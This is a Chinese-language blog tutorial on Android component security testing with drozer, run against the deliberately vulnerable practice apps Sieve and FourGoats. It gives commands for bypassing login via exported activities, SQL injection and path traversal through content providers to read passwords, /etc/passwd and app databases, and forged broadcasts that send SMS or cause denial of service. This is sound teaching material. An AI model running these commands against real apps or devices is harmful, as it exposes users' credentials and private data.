app配合drozer检查安卓组件

基础知识 安卓四大组件

Activity(界面):通常展现为一个可视化的用户界面,是负责与用户交互的组件。常见的漏洞包括Activity劫持漏洞、越权漏洞等。

Service(服务):无用户界面,是运行于后台的服务,但是及其重要,经常在后台执行一些敏感的操作。常见的漏洞包括权限提升,拒绝服务攻击等。

Broadcase receiver(广播接收器):无用户界面,能够启动一个 activity 或 serice来响应它们收到的信息,或者用 NotificationManager 来通知用户。当应用广播接收器默认设置exported='true',导致应用可能接收到第三方恶意应用伪造的广播,利用这一漏洞,攻击者可以在用户手机通知栏上推送任意消息,通过配合其它漏洞盗取本地隐私文件和执行任意代码。

Content provider(内容提供者):为存储和获取数据提供统一的接口,可以在不同的应用程序之间共享数据。常见的漏洞包括读写权限漏洞、SQL注入漏洞、文件遍历漏洞等。

第一步    安装drozer

使用python2 安装依赖

    sudo pip2 install protobuf

    sudo pip2 install pyopenssl

    sudo pip2 install twisted

    sudo pip2 install service_identity

安装adb

    brew install android-platform-tools

安装drozer

    客户端 地址:https://labs.mwrinfosecurity.com/tools/drozer/

找到drozer(Agent.apk only),然后安装到手机或者模拟器

 服务端 命令安装 sudo pip2 installdrozer-2.4.4-py2-none-any.whl

drozer

第二步 启动drozer服务端和客户端

服务端执行命令

drozer server start  启动服务端

adb connect 127.0.0.1:5555 连接mumu模拟器

adb devices  检测

adb forward tcp:31415 tcp:31415  进行端口转发

drozer console connect 连接客户端

第三步 activity界面

sieve    软件地址 https://github.com/mwrlabs/drozer/releases/download/2.3.4/sieve.apk

测试 app sieve 是 drozer 官网提供的,测试前请提前进入 app 设置好密码以及 pin,并添加一条记录值

举例 密码 qwerasdfzxcv1234  1234

获取手里里安装包的名称 run app.package.list

搜索对应软件的包名 run app.package.list -f sieve

查看具体包的信息 run app.package.info -a com.mwr.example.sieve    可得到:版本号、数据目录、权限

针对该包查探可能存在漏洞的攻击面

run app.package.attacksurface com.mwr.example.sieve

得到对应安卓四大组件可能的攻击面:

    activity -- 界面

    broadcast -- 广播

    provider -- 数据

    service -- 服务

1、查看针对 activity 界面组件具体的攻击面

run app.activity.info -a com.mwr.example.sieve

根据返回值进行分析

    com.mwr.example.sieve.FileSelectActivity应该是与目录相关的包

    com.mwr.example.sieve.MainLoginActivity 应该是与登录相关的包

    com.mwr.example.sieve.PWList 应该是与密码相关的包

2、针对每个 activity 攻击面进行测试,查看 app 反应 run app.activity.start --component 包名 具体activity

run app.activity.start –-component 包名 组件名

run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.FileSelectActivity

第一个是显示系统文件/目录

run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.MainLoginActivity

第二个是重新进入登录界面

run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList

第三个可绕过密码鉴定直接进入软件  

第四步、查看针对 provider 数据  组件具体的攻击面

获取 content providers信息    run app.provider.info -a com.mwr.example.sieve

根据分析等处两个攻击面。

com.mwr.example.sieve.DBContentProvider攻击面

com.mwr.example.sieve.FileBackupProvider 攻击面

(1)首先对第一个攻击面进行检测

目录扫描,run app.provider.finduri com.mwr.example.sieve

分别测试每个 URI 是否能够访问,使用drozer进行扫描,判断目录是否可以访问。

run scanner.provider.finduris -a com.mwr.example.sieve

查看可访问 URI 内容

run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical

run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/ --vertical

测试可访问 URI 是否存在注入

替换之前的可访问目录 

run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"

或者

run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"

使用drozer扫描注入

run scanner.provider.injection -a com.mwr.example.sieve

注入数据表

run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--"

run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/ --projection "* FROM SQLITE_MASTER WHERE type='table';--"

查询表中所有数据

通过替换下列命令表来回去不同数据

run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--"

(2)对第二个攻击面进行检测

探测目录    run scanner.provider.traversal -a com.mwr.example.sieve

针对探测到的两个url进行文件读取   

run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts

run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/passwd

同样可以根据。run app.package.info -a com.mwr.example.sieve    得到的目录信息获取更多文件 

run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/data/user/0/com.mwr.example.sieve/databases/database.db

下载查看到的文件

run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data/data/com.mwr.example.sieve/databases/database.db C:\\Users\\xxxx\\Desktop\\database.db

第五步、Service(服务)组件

FourGoats 软件地址 https://github.com/downloads/jackMannino/OWASP-GoatDroid-Project/OWASP-GoatDroid-0.9.zip

前提知识

AndroidManifest.xml

AndroidManifest.xml 文件是整个应用程序的信息描述文件,包含了 APP 的配置信息

其功能主要有:

    命名应用程序的 java 包,这个包名将用来唯一标识这个应用程序。

    描述了应用程序中包含的 Activity、Service、ContentProvider和 BroadcastReceiver 组件

    定义了应用程序运行的进程

    声明了应用程序需要访问受限 API 所需的权限

    声明其他程序如果希望访问本程序组件所需要的权限

    声明应用程序能够正常运行所需要的最小级别的 OpenAPI

    列出应用程序运行所需要连接的库

重点关注的是声明的组件信息,也就是下方 <application> 内的信息

    android:exported 属性

    该属性指明了是否支持其它应用调用当前组件。

    Activity、Service、Broadcast 默认值:

    如果包含有 intent-filter 默认值为 true,表示其他 Application 可调用该组件;

    没有 intent-filter 默认值为 false,表示其只能被当前 Application 或者拥有同样 USER ID 的 Application 的调用。

    Provider 默认值:

    当 Android sdk 的最小版本为 16 或者更低时其默认值为 true。如果是 17 及以上的版本默认值为 false。

    当组件的 android:exported="true" 时,会导致其他应用可随意调用该组件(直接调用或者通过 action 调用),那么势必会导致一些问题。

1、查看 FourGoats 攻击面

run app.package.attacksurface org.owasp.goatdroid.fourgoats

查看针对 service 攻击面进行测试 数据组件具体的攻击面

run app.service.info -a org.owasp.goatdroid.fourgoats

2、对app进行反编译 查看文件

./apktool d FourGoats.apk

查看AndroidManifest.xml文件

发现 org.owasp.fourgoats.goatdroid.LocationService 服务可被导出且不需要任何权限,

这意味着任何与 FourGoats 应用程序安装在统一设备上的恶意应用程序可以访问该设备的位置,这是非常危险的

run app.service.start --action org.owasp.goatdroid.fourgoats.services.LocationService

直接拒绝服务

第六步 Broadcase receiver(广播接收器)

查看 FourGoats 攻击面

run app.package.attacksurface org.owasp.goatdroid.fourgoats

查看针对 broadcast 数据组件具体的攻击面

run app.broadcast.info -a org.owasp.goatdroid.fourgoats

打开 xml 文件查找 action

直接执行造成拒绝服务

run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS

反编译查看源码

共需要 2 个参数,phoneNumber、message

发送恶意广播

run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --extra string phoneNumber 666 --extra string message test

posted @ 2021-07-30 17:38  bingtanghulu  阅读(730)  评论(0)    收藏  举报